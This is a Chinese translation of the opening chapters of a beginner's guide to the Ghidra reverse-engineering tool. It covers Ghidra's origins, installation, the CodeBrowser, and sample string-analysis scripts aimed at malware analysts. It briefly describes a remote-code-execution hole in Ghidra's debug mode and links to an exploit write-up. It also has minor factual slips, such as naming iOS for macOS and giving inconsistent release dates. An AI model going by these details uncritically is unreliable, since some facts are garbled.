原文:
annas-archive.org/md5/709a9fb1cf304b1b3ca6b63ac4c0dbde译者:飞龙
前言
本书是一本 Ghidra 逆向工程工具的实用指南。在书中,你将从零开始学习如何使用 Ghidra 进行不同的工作,如恶意软件分析和二进制审计。随着初始章节的深入,你还将学习如何使用 Ghidra 脚本自动化那些耗时的逆向工程任务,并如何查阅文档以解决疑问并自行扩展知识。
在阅读了初始章节后,一旦你成为 Ghidra 的高级用户,你将学习如何扩展此逆向工程工具的功能,支持新的图形用户界面插件、二进制格式、处理器模块等。在这一部分书籍后,你将获得 Ghidra 开发技能,能够调试 Ghidra 并根据自己的需要开发功能,扩展 Ghidra。
接下来,有一整章内容专门讲解如何为 Ghidra 社区做贡献,在这里你将学习如何将自己的代码、反馈、发现的漏洞等贡献给国家安全局(NSA)项目,并与其他社区成员互动。
本书的最后一章将介绍高级逆向工程话题,带你进入一个极具趣味的世界,激发你思考可以开发的新功能,以改进 Ghidra 逆向工程工具。
本书的读者对象
本书的读者对象包括逆向代码工程师、恶意软件分析师、漏洞猎人、渗透测试人员、漏洞开发人员、法医实践者、安全研究人员和网络安全学生。事实上,任何希望通过减少学习曲线并开始编写自己工具来学习 Ghidra 的人,肯定会享受这本书并实现他们的目标。
本书的内容
第一章,Ghidra 入门,带你回顾 Ghidra 的历史并从用户的角度概述该程序。
第二章,使用 Ghidra 脚本自动化逆向工程任务,解释了如何使用 Ghidra 脚本自动化逆向工程任务并介绍了脚本开发。
第三章,Ghidra 调试模式,介绍了如何设置 Ghidra 开发环境,如何调试 Ghidra,以及关于 Ghidra 调试模式漏洞的所有内容。
第四章,使用 Ghidra 扩展,为你提供开发 Ghidra 扩展的背景知识,并展示如何安装和使用它。
第五章,使用 Ghidra 逆向恶意软件,通过逆向分析一个真实的恶意软件样本,展示如何使用 Ghidra 进行恶意软件分析。
第六章,脚本化恶意软件分析,通过脚本化 Java 和 Python 两种语言,继续上一章,分析在恶意软件样本中发现的 Shellcode。
第七章,使用 Ghidra 无头分析器,解释了 Ghidra 无头分析器,并将这一知识应用于通过本章开发的脚本获取的一组恶意软件样本。
第八章,审计程序二进制文件,介绍了如何使用 Ghidra 发现内存破坏漏洞及其利用方法。
第九章,脚本化二进制审计,继续上一章,讲解如何通过脚本自动化漏洞猎捕过程,充分利用强大的 PCode 中间表示。
第十章,开发 Ghidra 插件,通过解释 Ghidra 插件扩展是充分利用 Ghidra 已实现功能的方式,深入探讨了 Ghidra 扩展开发。
第十一章,加入新的二进制格式支持,展示了如何编写 Ghidra 扩展来支持新的二进制格式,并以一个实际的文件格式为例。
第十二章,分析处理器模块,讨论了如何使用 SLEIGH 处理器规范语言编写 Ghidra 处理器模块。
第十三章,贡献给 Ghidra 社区,解释了如何通过社交网络、聊天工具与社区互动,并如何贡献自己的开发、反馈、错误报告、评论等。
第十四章,为高级逆向工程扩展 Ghidra,介绍了高级逆向工程的主题和工具,如 SMT 求解器、微软 Z3、静态和动态符号执行、LLVM 和 Angr,并解释了如何将它们与 Ghidra 结合使用。
为了充分利用本书
读者应该具备足够的汇编语言、C 语言、Python 和 Java 语言的理解,以便阅读书中的代码。了解操作系统内部、调试器和反汇编器的知识会有所帮助,但并非严格必要:
所需的软件列在相关章节的技术要求部分。
下载示例代码文件
你可以从 GitHub 下载本书的示例代码文件,链接为github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners。如果代码有更新,将会在现有的 GitHub 库中进行更新。
我们还提供了其他代码包,来自我们丰富的书籍和视频目录,访问 github.com/PacktPublishing/ 查看吧!
实战代码
本书的实战代码视频可以在 bit.ly/3ot3YAT 上观看。
下载彩色图像
我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。你可以在这里下载: static.packt-cdn.com/downloads/9781800207974_ColorImages.pdf。
使用的约定
本书中使用了许多文本约定。
文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:“compressed_malware_samples,即恶意软件样本下载的位置。”
代码块如下所示:
00 @PluginInfo(
01 status = PluginStatus.STABLE,
02 packageName = ExamplesPluginPackage.NAME,
03 category = PluginCategoryNames.EXAMPLES,
04 shortDescription = "Plugin short description.",
05 description = "Plugin long description goes here."
06 )
任何命令行输入或输出都如下所示:
>>> s = Solver()
>>> s.add(y == x + 5)
>>> s.add(y>x)
>>> s.check()
sat
>>> s.model()
[x = 0, y = 5]
粗体:表示新术语、重要词汇或你在屏幕上看到的词汇。例如,菜单或对话框中的词汇在文本中会像这样出现。这里是一个示例:“我们首先用CodeBrowser打开它,并进入入口点。”
提示或重要注意事项
如此显示。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请在邮件主题中注明书名,并将邮件发送至 customercare@packtpub.com。
勘误:尽管我们已经尽一切努力确保内容的准确性,但错误仍然可能发生。如果你发现本书中有错误,感谢你报告给我们。请访问 www.packtpub.com/support/errata,选择你的书籍,点击勘误提交表单链接,并填写详细信息。
盗版:如果你在互联网上发现任何我们作品的非法复制品,感谢你提供相关位置地址或网站名称。请通过电子邮件与我们联系,邮箱地址为 copyright@packt.com,并附上相关材料的链接。
如果你有兴趣成为作者:如果你在某个主题方面有专长,并且有兴趣撰写或参与书籍的编写,请访问 authors.packtpub.com。
读者评论
请留下评论。在阅读并使用完本书后,何不在你购买书籍的网站上留下评论?潜在读者可以看到并参考你的客观意见来做出购买决策,我们也能了解你对我们产品的看法,而我们的作者也可以看到你对他们书籍的反馈。谢谢!
欲了解更多关于 Packt 的信息,请访问 packt.com。
第一部分:Ghidra 简介
本部分旨在介绍 Ghidra 及其历史、项目结构、扩展开发、脚本以及作为开源软件,如何进行贡献。
本部分包含以下章节:
-
第一章,Ghidra 入门
-
第二章,使用 Ghidra 脚本自动化 RE 任务
-
第三章,Ghidra 调试模式
-
第四章,使用 Ghidra 扩展
第一章:第一章:开始使用 Ghidra
在本章节中,我们将从某些方面概述 Ghidra。开始之前,了解如何获取和安装程序会非常方便。如果你只是想安装程序的发布版本,这显然是一件简单且琐碎的事情。但我猜你可能想更深入地了解这个程序。在这种情况下,我可以提前告诉你,你可以通过源代码自行编译该程序。
由于 Ghidra 的源代码是公开的,并且可以修改和扩展,你可能也会对它的结构、包含的代码片段类型等感兴趣。这是一个发现 Ghidra 提供给我们的巨大可能性的绝佳机会。
从逆向工程师的角度回顾 Ghidra 的主要功能也是很有趣的。这将激发你对这个工具的兴趣,因为它有自己的独特性,而这正是 Ghidra 最有趣的地方。
在本章中,我们将涵盖以下主要主题:
-
WikiLeaks Vault 7
-
Ghidra 与 IDA 以及其他许多竞争者的比较
-
Ghidra 概述
技术要求
包含本章所需所有代码的 GitHub 仓库可以通过以下链接找到:
github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners
查看以下链接,观看《代码实战》视频:bit.ly/3qD1Atm
WikiLeaks Vault 7
2017 年 3 月 7 日,WikiLeaks 开始泄露 Vault 7,成为美国 中央情报局(CIA)最大的一次机密文档泄漏。这次泄露包含了 24 部分的秘密网络武器和间谍技术,分别命名为 Year Zero、Dark Matter、Marble、Grasshopper、HIVE、Weeping Angel、Scribbles、Archimedes、AfterMidnight、Assassin、Athena、Pandemic、Cherry Blossom、Brutal Kangaroo、Elsa、OutlawCountry、BothanSpy、Highrise、UCL/Raytheon、Imperial、Dumbo、CouchPotato、ExpressLane、Angelfire 和 Protego。
虽然 2006 至 2009 年期间担任 CIA 署长、1999 至 2005 年担任 NSA 署长的迈克尔·文森特·海登(Michael Vincent Hayden)作为发言人没有确认或否认这一巨大泄密的真实性,但一些 NSA 的情报官员曾匿名泄露了这些材料。
Ghidra 的存在是在 Vault 7:Year Zero 的第一部分泄露出来的。这部分内容包括了从美国中央情报局(CIA)位于弗吉尼亚州兰利的网络情报中心窃取的大量文件和文档。泄露的内容涉及 CIA 的恶意软件库、零日漏洞武器化利用,以及苹果 iPhone、谷歌 Android 设备、微软 Windows 设备,甚至三星电视如何被变成隐蔽的麦克风。
Ghidra 在此次泄露中被提及三次 (wikileaks.org/ciav7p1/cms/index.html),展示了如何安装 Ghidra、如何使用 Ghidra 进行 64 位内核缓存的手动分析的逐步教程(附截图),以及当时可用的最新版本 Ghidra 7.0.2。
NSA 发布
正如在 2019 年 RSA 大会期间宣布的,NSA 网络安全高级顾问 Rob Joyce 解释了 Ghidra 独特的能力和功能,在名为 Get your free NSA reverse engineering tool 的会议中,他还发布了 Ghidra 的程序二进制文件。
在这次会议中,解释了以下一些功能:
-
团队协作单一项目功能
-
扩展和扩展 Ghidra 的能力
-
通用处理器模型,也称为
SLEIGH -
两种工作模式:交互式和非图形用户界面模式
-
Ghidra 强大的分析功能
最终,在 2019 年 4 月 4 日,NSA 在 GitHub 上发布了 Ghidra 的源代码 (github.com/NationalSecurityAgency/ghidra),并在 Ghidra 网站上发布了 Ghidra 的发布版本,你可以在这里下载可以使用的 Ghidra 版本:ghidra-sre.org。该网站上可用的第一个 Ghidra 版本是 Ghidra 9.0。Ghidra 网站可能对美国以外的访问者不可用;如果是这种情况,你可以使用 VPN 或像 HideMyAss 这样的在线代理来访问 (www.hidemyass.com/)。
不幸的是,几小时后,@hackerfantastic(马修·希基)于 2019 年 3 月 6 日凌晨 1:20 发布了第一个 Ghidra 漏洞。他在 Twitter 上说了以下内容:
Ghidra 在调试模式下打开 JDWP,并监听端口 18001,你可以用它远程执行代码(人脸掌击)。要修复这个问题,需要将 support/launch.sh 文件的第 150 行从 * 改为 127.0.0.1 github.com/hackerhouse-opensource/exploits/blob/master/jdwp-exploit.txt。
然后,关于 NSA 和 Ghidra 的许多疑问浮现出来。然而,考虑到 NSA 的网络间谍能力,你认为 NSA 需要在其软件中包括后门来黑客攻击自己的用户吗?
显然,不需要。他们不需要这样做,因为他们已经有了网络武器。
使用 Ghidra 时你会感到很舒适;可能,NSA 只是想做一些有荣誉感的事情来改善自己的形象,而且既然 Ghidra 的存在已经被 WikiLeaks 泄露,那有什么比在 RSA 大会发布它并将其作为开源发布更好的方式呢?
Ghidra 与 IDA 及其他许多竞争者的对比
即使你已经掌握了强大的逆向工程框架,如 IDA、Binary Ninja 或 Radare2,仍然有充分的理由开始学习 Ghidra。
没有单一的逆向工程框架是终极的。每个逆向工程框架都有其优点和缺点。有些框架甚至无法相互比较,因为它们是以不同的理念设计的(例如,基于 GUI 的框架与基于命令行的框架)。
另一方面,你会看到这些产品一直在相互竞争并互相学习。例如,IDA Pro 7.3 引入了 undo 功能,而该功能之前是由其竞争对手 Ghidra 提供的。
在以下截图中,你可以看到官方 Twitter 账号 @GHIDRA_RE 对 IDA Pro 的 undo 功能的幽默回应:
图 1.1 – IDA Pro 7.3 添加了撤销功能,以与 Ghidra 竞争
框架之间的差异会因竞争而有所变化,但我们可以提到 Ghidra 当前的一些优点:
-
它是开源且免费的(包括其反编译器)。
-
它支持许多架构(这可能是你正在使用的框架尚未支持的)。
-
它可以在一个项目中同时加载多个二进制文件。这个功能使你可以轻松地在多个相关二进制文件(例如,一个可执行二进制文件及其库)上执行操作。
-
它通过设计支持协作式逆向工程。
-
它支持大容量固件镜像(1 GB+)且没有问题。
-
它有很棒的文档,其中包括示例和课程。
-
它允许对二进制文件进行版本跟踪,帮助你在不同版本的二进制文件之间匹配函数、数据及其标记。
总之,建议尽可能学习多种框架,以便了解并利用每个框架的优势。从这个意义上说,Ghidra 是一个你必须了解的强大框架。
Ghidra 概述
类似于 RSA 大会的做法,我们将在此提供 Ghidra 概述,以展示该工具及其功能。你很快就会意识到 Ghidra 的强大,以及为什么这个工具不仅仅是另一个开源的逆向工程框架。
在撰写本书时,Ghidra 的最新可用版本是 9.1.2,可以从本章前面部分提到的官方网站下载。
安装 Ghidra
建议通过点击红色的 Download Ghidra v9.1.2 按钮下载 Ghidra 的最新版本(ghidra-sre.org/),但如果你想下载旧版本,需要点击 Releases:
图 1.2 – 从官方网站下载 Ghidra
下载 Ghidra 压缩文件(ghidra_9.1.2_PUBLIC_20200212.zip)并解压后,你将看到以下文件结构:
图 1.3 – 解压后的 Ghidra 9.1.2 结构
内容可以描述如下(来源:ghidra-sre.org/InstallationGuide.html):
-
docs:Ghidra 文档和一些非常有用的资源,如适用于各级别的 Ghidra 学习课程、备忘单以及逐步安装指南 -
Extensions:可选的 Ghidra 扩展,允许您增强其功能并与其他工具集成 -
Ghidra:Ghidra 程序本身 -
GPL:独立的 GPL 支持程序 -
licenses:包含 Ghidra 使用的许可证 -
server:包含与 Ghidra 服务器安装和管理相关的文件 -
support:允许您在高级模式下运行 Ghidra,并控制它的启动方式,包括将其启动以进行调试 -
ghidraRun:用于在 Linux 和 iOS 上启动 Ghidra 的脚本 -
ghidraRun.bat:用于在 Windows 上启动 Ghidra 的批处理脚本 -
LICENSE:Ghidra 许可证文件
除了下载预编译的 Ghidra 发行版本外,您还可以根据下一节所述自行编译该程序。
自行编译 Ghidra
如果您希望自行编译 Ghidra,可以从以下 URL 下载源代码:github.com/NationalSecurityAgency/ghidra。
然后,您可以使用 Gradle 运行以下命令来构建它:
gradle --init-script gradle/support/fetchDependencies.gradle init
gradle buildGhidra
gradle eclipse
gradle buildNatives_win64
gradle buildNatives_linux64
gradle buildNatives_osx64
gradle sleighCompile
gradle eclipse -PeclipsePDE
gradle prepDev
这将生成一个压缩文件,其中包含 Ghidra 的编译版本:
/ghidra/build/dist/ghidra_*.zip
在启动 Ghidra 之前,请确保您的计算机符合以下要求:
-
4 GB 内存
-
1 GB 存储空间(用于安装 Ghidra 二进制文件)
-
强烈建议使用双显示器
由于 Ghidra 是用 Java 编写的,如果在安装 Java 11 64 位运行时和开发工具包之前执行 Ghidra,可能会显示以下错误消息:
-
当未安装 Java 时,您将看到以下内容:
"Java runtime not found..." -
当缺少 Java 开发工具包(JDK)时,您将看到以下内容:
图 1.4 – 缺少 JDK 错误
因此,如果收到以下消息中的任何一条,请从以下来源之一下载 JDK:
-
adoptopenjdk.net/releases.html?variant=openjdk11&jvmVariant=hotspot -
docs.aws.amazon.com/corretto/latest/corretto-11-ug/downloads-list.html如何解决安装问题
Ghidra 的逐步安装指南,包括已知问题,可以在 Ghidra 文档目录中的
docs\InstallationGuide.html找到。也可以通过以下链接在线访问:
ghidra-sre.org/InstallationGuide.html。请注意,你可以通过以下链接报告在 Ghidra 中发现的新问题:
github.com/NationalSecurityAgency/ghidra/issues。
安装 Ghidra 后,你可以通过在 Linux 和 iOS 上使用 ghidraRun 或在 Windows 上使用 ghidraRun.bat 启动它。
Ghidra 功能概述
在本节中,我们将概述一些 Ghidra 的基本功能,以便理解程序的整体功能。这也是一个很好的入门点,帮助你熟悉 Ghidra。
创建一个新的 Ghidra 项目
正如你所注意到的,与其他逆向工程工具不同,Ghidra 不直接操作文件。而是,Ghidra 操作项目。让我们通过点击 文件 | 新建项目… 来创建一个新项目。你也可以通过按 Ctrl + N 快捷键更快地完成此操作(完整的 Ghidra 快捷键列表可在 ghidra-sre.org/CheatSheet.html 上找到,也可以在 Ghidra 的文档目录中找到):
图 1.5 – 创建一个新的 Ghidra 项目
此外,项目可以是非共享的或共享的项目。由于我们想分析一个不与其他逆向工程师合作的 hello world 程序,我们将选择 hello world) 并选择存储位置:
图 1.6 – 选择项目名称和目录
该项目由 hello world.gpr 文件和 hello world.rep 文件夹组成:
图 1.7 – Ghidra 项目结构
Ghidra 项目(*.gpr 文件)只能由单个用户打开。因此,如果你尝试同时打开同一个项目两次,使用 hello world.lock 和 hello world.lock~ 文件实现的并发锁将阻止你这样做,如下截图所示:
图 1.8 – Ghidra 项目已锁定
在接下来的章节中,我们将介绍如何向项目中添加二进制文件。
导入文件到 Ghidra 项目
我们可以开始向我们的 hello world 项目中添加文件。为了使用 Ghidra 分析一个极其简单的应用程序,我们将编译以下 C 语言编写的 hello world 程序(hello_world.c):
#include <stdio.h>
int main(){
printf("Hello world.");
}
我们使用以下命令来编译它:
C:\Users\virusito\Desktop\hello_world> gcc.exe hello_world.c
C:\Users\virusito\>\
让我们分析生成的 Microsoft Windows 可移植可执行文件:hello_world.exe。
让我们将我们的 hello world.exe 文件导入项目中;为此,我们需要进入 文件 | 导入文件。或者,我们可以按 I 键:
图 1.9 – 导入文件到 Ghidra 项目
Ghidra 自动识别了hello_world.exe程序为 32 位架构的 x86 可移植执行二进制文件。由于成功识别,我们可以点击OK继续。导入后,你将看到文件的总结:
图 1.10 – Ghidra 项目文件导入结果总结
通过双击hello_world.exe文件或点击Tool Chest的绿色 Ghidra 图标,文件将被 Ghidra 打开并加载:
图 1.11 – 一个包含可移植执行文件的 Ghidra 项目
将文件导入项目后,你可以开始逆向工程它们。这是 Ghidra 的一个酷功能,允许你将多个文件导入到一个项目中,因为你可以对多个文件(例如可执行二进制文件及其依赖项)执行一些操作(例如搜索)。在接下来的部分中,我们将看到如何使用 Ghidra 分析这些文件。
执行和配置 Ghidra 分析
系统会询问你是否分析该文件,你可能会想回答是,因为分析操作会识别函数、参数、字符串等。通常,你会希望让 Ghidra 为你获取这些信息。确实有很多分析配置选项。你可以通过点击每个选项查看它的描述;描述会显示在右上角的Description部分:
图 1.12 – 文件分析选项
让我们点击Analyze来执行文件分析。然后,你将看到 Ghidra 的CodeBrowser窗口。如果你忘记分析某个内容,不要担心;你可以稍后重新分析程序(进入Analysis标签,然后选择Auto Analyze ‘hello_world.exe’…)。
探索 Ghidra CodeBrowser
默认情况下,Ghidra CodeBrowser 具有一个非常合理的停靠窗口分布,如下截图所示:
图 1.13 – Ghidra 的 CodeBrowser 窗口
让我们看看 CodeBrowser 默认是如何分布的:
-
与往常一样,在逆向工程框架中,默认情况下,Ghidra 会在屏幕中央显示文件的反汇编视图。
-
由于反汇编级别有时过于低级,Ghidra 集成了自己的反编译器,位于反汇编窗口的右侧。程序的主函数通过 Ghidra 签名被识别,然后自动生成了参数。Ghidra 还允许你在很多方面操作反编译后的代码。当然,文件的十六进制视图也可以在相应的标签中查看。这三个窗口(反汇编、反编译器和十六进制窗口)是同步的,提供了同一事物的不同视角。
-
Ghidra 还允许你轻松地在程序中导航。例如,要跳转到另一个程序部分,你可以参考位于 CodeBrowser 左上角的程序树窗口。
-
如果你更喜欢导航到一个符号(例如,程序函数),那么就往下看,找到符号树窗格的位置。
-
如果你想处理数据类型,那么再往下看,找到数据类型管理器。
-
由于 Ghidra 支持脚本化逆向工程任务,脚本结果会显示在底部的相应窗口中。当然,书签标签也可以在相同位置使用,让你创建文档齐全且有条理的书签,以便快速访问任何内存位置。
-
Ghidra 还在顶部提供了一个快速访问栏。
-
在右下角,第一个字段显示当前地址。
-
紧接着当前地址,当前函数会显示出来。
-
除了当前地址和当前函数外,当前的反汇编行也会显示出来,以完成上下文信息。
-
最后,在 CodeBrowser 的最上方,主工具栏位于此处。
现在你已经了解了 Ghidra 的默认视角,是时候学习如何自定义它了。我们将在接下来的部分讨论这一内容。
自定义 Ghidra
这是 Ghidra 的默认视角,但你也可以修改它。例如,你可以通过点击窗口菜单并选择一个感兴趣的窗口,来向 Ghidra 添加更多窗口:
图 1.14 – Ghidra 窗口子菜单中的一些项目
Ghidra 拥有许多强大的功能——例如,位于反汇编窗口右上角的工具栏可以让你通过移动字段、添加新字段、扩展反汇编列表中字段的大小等方式自定义反汇编视图:
图 1.15 – 反汇编列表配置
它还允许你启用 Ghidra 的一个非常有趣的功能,即其中间表示或中间语言,称为PCode。它使你能够开发与汇编语言无关的工具,并以更舒适的语言开发自动化分析工具:
图 1.16 – 启用反汇编列表中的 PCode 字段
如果启用了,PCode 会在列表中显示。正如你很快会发现的那样,PCode 不太适合人类阅读,但有时它对于脚本化逆向工程任务来说更为高效:
图 1.17 – 启用 PCode 的反汇编列表
发现更多 Ghidra 功能
Ghidra 还包含了一些在其他逆向工程框架中也能找到的强大功能。例如,像其他逆向工程框架一样,你也可以使用图形视图:
图 1.18 – 一个 hello world 程序的主函数的图形视图
正如你所注意到的,Ghidra 有许多功能和窗口;我们不会在本章中覆盖所有内容,也不会修改和/或扩展所有功能。实际上,我们还没有提到所有内容。相反,我们将在接下来的章节中通过实践来学习它们。
摘要
在本章中,我们介绍了 Ghidra 的激动人心和独特的起源。接着,我们讲解了如何从源代码下载、安装并自行编译它。你还学会了如何解决问题以及如何向 Ghidra 开源项目报告新问题。
最后,你了解了 Ghidra 的结构和主要功能(其中一些尚未涉及)。现在,你可以自行探索并稍微实验一下 Ghidra 了。
本章帮助你理解了 Ghidra 的全貌,这对于接下来的章节将会有帮助,后续章节将更专注于具体细节。
在下一章中,我们将讲解如何通过使用、修改和开发 Ghidra 插件来自动化逆向工程任务。
问题
-
是否有一种逆向工程框架绝对比其他框架更好?Ghidra 在解决哪些问题方面优于大多数框架?请列举一些优点和缺点。
-
如何配置反汇编视图以启用 PCode?
-
反汇编视图和反编译视图有什么区别?
第二章:第二章:使用 Ghidra 脚本自动化逆向工程任务
在本章中,我们将讲解如何通过脚本化 Ghidra 来自动化逆向工程(RE)任务。我们将首先回顾内置在工具中的大量且结构良好的 Ghidra 脚本库。这些几百个脚本通常足以满足主要的自动化需求。
一旦你了解了这个库,你可能还会想了解它是如何工作的。接下来,我们将概览 Ghidra 脚本类,以便理解其内部结构并获得一些背景知识,这对本章最后一部分会非常有帮助。
最后,你将学习如何开发自己的 Ghidra 脚本。为此,必须先了解 Ghidra API 的概览。幸运的是,你可以根据个人偏好选择使用 Java 或 Python,因为 Ghidra API 在这两种语言中的实现是相同的。
在本章中,我们将覆盖以下主要主题:
-
探索 Ghidra 脚本库
-
分析 Ghidra 脚本类和 API
-
编写你自己的 Ghidra 脚本
技术要求
本章所需的所有代码可以在 GitHub 仓库找到:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter02。
查看以下视频,看看代码如何运行:bit.ly/3mZbdAm
使用和修改现有脚本
Ghidra 脚本允许你在分析二进制文件时自动化逆向工程任务。让我们从 hello world 程序的使用概述开始。我们这里的起点是一个加载到 Ghidra 代码浏览器中的 hello world 程序,如第一章的Ghidra 功能概览部分所解释。
如本章引言中提到的,Ghidra 包含了一个真正的脚本库。要访问它,请进入窗口,然后选择脚本管理器。或者,点击以下截图中高亮显示的按钮:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_001.jpg)
图 2.1 – 快速访问栏中高亮显示的运行脚本按钮
正如你在左侧的文件夹浏览器中看到的,这些脚本按文件夹分类,选择某个文件夹时会显示其中包含的脚本:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_002.jpg)
图 2.2 – 脚本管理器
在前面的截图中,当点击位于脚本管理器窗口右上角的任务列表图标时,将显示脚本目录的路径:
](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_003.jpg)
图 2.3 – 脚本目录
这是一个非常好的起点,可以用来实验现有脚本。你可以通过 Ghidra 分析和编辑所有这些脚本,它将帮助你理解它们是如何工作的,以及如何根据你的需求进行调整。使用下图所示的高亮图标来编辑脚本或创建新脚本:
图 2.4 – 快速访问栏中高亮的编辑脚本和创建新脚本按钮
由于我们正在分析一个只会在屏幕上打印 hello world 的 hello world 程序,我们可以选择一个与字符串相关的 Ghidra 脚本,然后查看它如何加速分析。如下图所示,Python 和 Java 脚本在 Script Manager 中混合显示:
图 2.5 – Script Manager 中可用的与字符串相关的脚本
例如,RecursiveStringFinder.py 文件可以通过显示所有函数及其相关字符串来加速分析。它加速分析的原因是,字符串可以揭示一个函数的用途,而无需读取任何一行代码。
让我们执行前面提到的脚本,以 hello world 程序的 _mainCRTStartup() 函数作为输入(你需要将光标放在此函数上),同时在脚本控制台中查看输出。
如下图所示,RecursiveStringFinder.py 打印出一个缩进的(根据调用深度)函数列表,每个函数都包含其引用的字符串。
例如,_mainCRTStartup() 函数是第一个将被执行的函数(我们知道这一点是因为它的缩进;它是最靠左的那个)。之后,编译器引入的 __pei386_runtime_relocator() 函数将被调用。这个函数包含字符串 " Unknown pseudo relocation bit size %d. \n",我们知道它是一个字符串,因为有 ds 指示符。你可以看到,在一些由编译器引入的函数和字符串之后,_main() 函数包含了 "Hello world." 字符串,这揭示了我们的程序功能:
图 2.6 – 运行 RecursiveStringFinder.py 脚本时,在 Hello World 程序中得到的结果
之前的脚本是用 Python 开发的,它使用 getStringReferences() 函数(第 04 行)获取引用某些内容的指令的操作数(第 07 行)(第 10 行)。当被引用的内容是数据,更准确地说是字符串(第 12-14 行)时,它会被添加到结果列表中,最终显示在脚本控制台中。
我们修改了这个脚本,在将字符串附加到 isAnInterestingString() 函数的结果列表时实现了过滤器(第 15 行),以决定是否将其附加到结果列表中(第 16–20 行)。
假设你在分析的程序代码中寻找 URL,这在分析恶意软件时非常有用,因为它可以揭示攻击者的服务器。你只需要打开 strings 文件夹(该脚本处理字符串)。然后,打开 RecursiveStringFinder.py 脚本并向其中添加过滤条件,通过实现 isAnInterestingString() 函数(以下代码片段中的第 00–02 行)。
一般来说,编写脚本之前要先检查是否已经有类似的脚本存在于 Ghidra 的工具库中:
00 def isAnInterestingString(string):
01 """Returns True if the string is interesting for us"""
02 return string.startswith("http")
03
04 def getStringReferences(insn):
05 """Get strings referenced in any/all operands of an
06 instruction, if present"""
07 numOperands = insn.getNumOperands()
08 found = []
09 for i in range(numOperands):
10 opRefs = insn.getOperandReferences(i)
11 for o in opRefs:
12 if o.getReferenceType().isData():
13 string = getStringAtAddr(o.getToAddress())
14 if string is not None and \
15 isAnInterestingString(string):
16 found.append(StringNode(
17 insn.getMinAddress(),
18 o.getToAddress(),
19 string))
20 return found
这个脚本可以很容易地修改为搜索代码中的 URL,这在分析恶意软件时非常有用。你只需要将 isAnInterestingString() 中的条件替换为合适的正则表达式。
前面的脚本是用 Python 编程语言开发的。如果你想尝试 Java,可以分析 TranslateStringsScript.java 中的代码。为了简洁,以下代码清单省略了导入部分:
00 public class TranslateStringsScript extends GhidraScript {
01
02 private String translateString(String s) {
03 // customize here
04 return "TODO " + s + " TODO";
05 }
06
07 @Override
08 public void run() throws Exception {
09
10 if (currentProgram == null) {
11 return;
12 }
13
14 int count = 0;
15
16 monitor.initialize(
17 currentProgram.getListing().getNumDefinedData()
18 );
19 monitor.setMessage("Translating strings");
20 for (Data data : DefinedDataIterator.definedStrings(
21 currentProgram,
22 currentSelection)) {
23 if (monitor.isCancelled()) {
24 break;
25 }
26 StringDataInstance str = StringDataInstance. \
27 getStringDataInstance(data);
28 String s = str.getStringValue();
29 if (s != null) {
30 TranslationSettingsDefinition. \
31 TRANSLATION.setTranslatedValue(data,
32 translateString(s));
33
34 TranslationSettingsDefinition. \
35 TRANSLATION.setShowTranslated(data, true);
36 count++;
37 monitor.incrementProgress(1);
38 }
39 }
40 println("Translated " + count + " strings.");
41 }
42 }
前面的脚本允许你通过在程序中引用的字符串前后加上 TODO 字符串来修改这些字符串(第 04 行)。这个脚本在某些情况下很有用。例如,如果你需要解码大量的 Base64 编码字符串或破解类似的恶意软件混淆,可以修改 translateString() 函数,该函数负责获取输入字符串,应用某些转换并返回结果。
run() 函数是 Ghidra 脚本的主函数(第 08 行)。在这种情况下,首先将字符串计数器初始化为零(第 14 行),然后对于每个字符串(第 20 行),计数器会递增,同时产生字符串转换(第 30–32 行)并在每次循环迭代中显示(第 34–35 行)。
按照当前脚本的执行方式,它会通过在所有程序字符串前后添加 TODO 来进行修改。正如你在下面的截图中看到的,我们的 Hello world 字符串就是以这种方式被修改的。脚本还计算了转换过的字符串数量:
图 2.7 – 运行 TranslateStringsScript.java 处理 Hello World 程序的结果
我们已经了解了如何使用现有的脚本,并且也知道如何将它们调整以满足我们的需求。接下来,我们将学习 Ghidra 脚本类是如何工作的。
脚本类
要开发一个 Ghidra 脚本,你需要点击 创建新脚本 选项,该选项可通过 脚本管理器 菜单找到。然后,你将能够选择使用哪种编程语言:
图 2.8 – 新建脚本时的编程语言对话框
如果你决定使用 Java,脚本的骨架将由三部分组成。第一部分是注释:
//TODO write a description for this script
//@author
//@category Strings
//@keybinding
//@menupath
//@toolbar
有些注释显而易见,但有些值得特别提及。例如,@menupath 允许你指定脚本启用时应该放置在菜单中的位置:
图 2.9 – 启用脚本与 Ghidra 集成
请注意,路径必须由 . 字符分隔:
//@menupath Tools.Packt.Learn Ghidra script
前面的源代码注释生成了与 Ghidra 菜单集成的脚本如下:
图 2.10 – 将新脚本集成到 Ghidra 后的结果
下一部分是导入,其中最重要且绝对必要的是 GhidraScript。所有脚本必须继承此类并实现 run() 方法(这是主方法):
import ghidra.app.script.GhidraScript;
import ghidra.program.model.util.*;
import ghidra.program.model.reloc.*;
import ghidra.program.model.data.*;
import ghidra.program.model.block.*;
import ghidra.program.model.symbol.*;
import ghidra.program.model.scalar.*;
import ghidra.program.model.mem.*;
import ghidra.program.model.listing.*;
import ghidra.program.model.lang.*;
import ghidra.program.model.pcode.*;
import ghidra.program.model.address.*;
所有导入的内容都在 Ghidra 的 Javadoc 文档中有记录;在开发脚本时,你应该参考该文档。
Javadoc Ghidra API 文档
通过点击 帮助 然后选择 Ghidra API 帮助,如果 JavaDoc 文档尚不存在,Ghidra 的 JavaDoc 文档将会自动生成。然后,你就可以访问上述导入包的文档:/api/ghidra/app/script/package-summary.html/api/ghidra/program/model/。
最后,脚本的主体继承自 GhidraScript,其中 run() 方法必须用你自己的代码实现。在你的实现中,你可以访问以下 GhidraScript 状态:currentProgram、currentAddress、currentLocation、currentSelection 和 currentHighlight:
public class NewScript extends GhidraScript {
public void run() throws Exception {
//TODO Add User Code Here
}
}
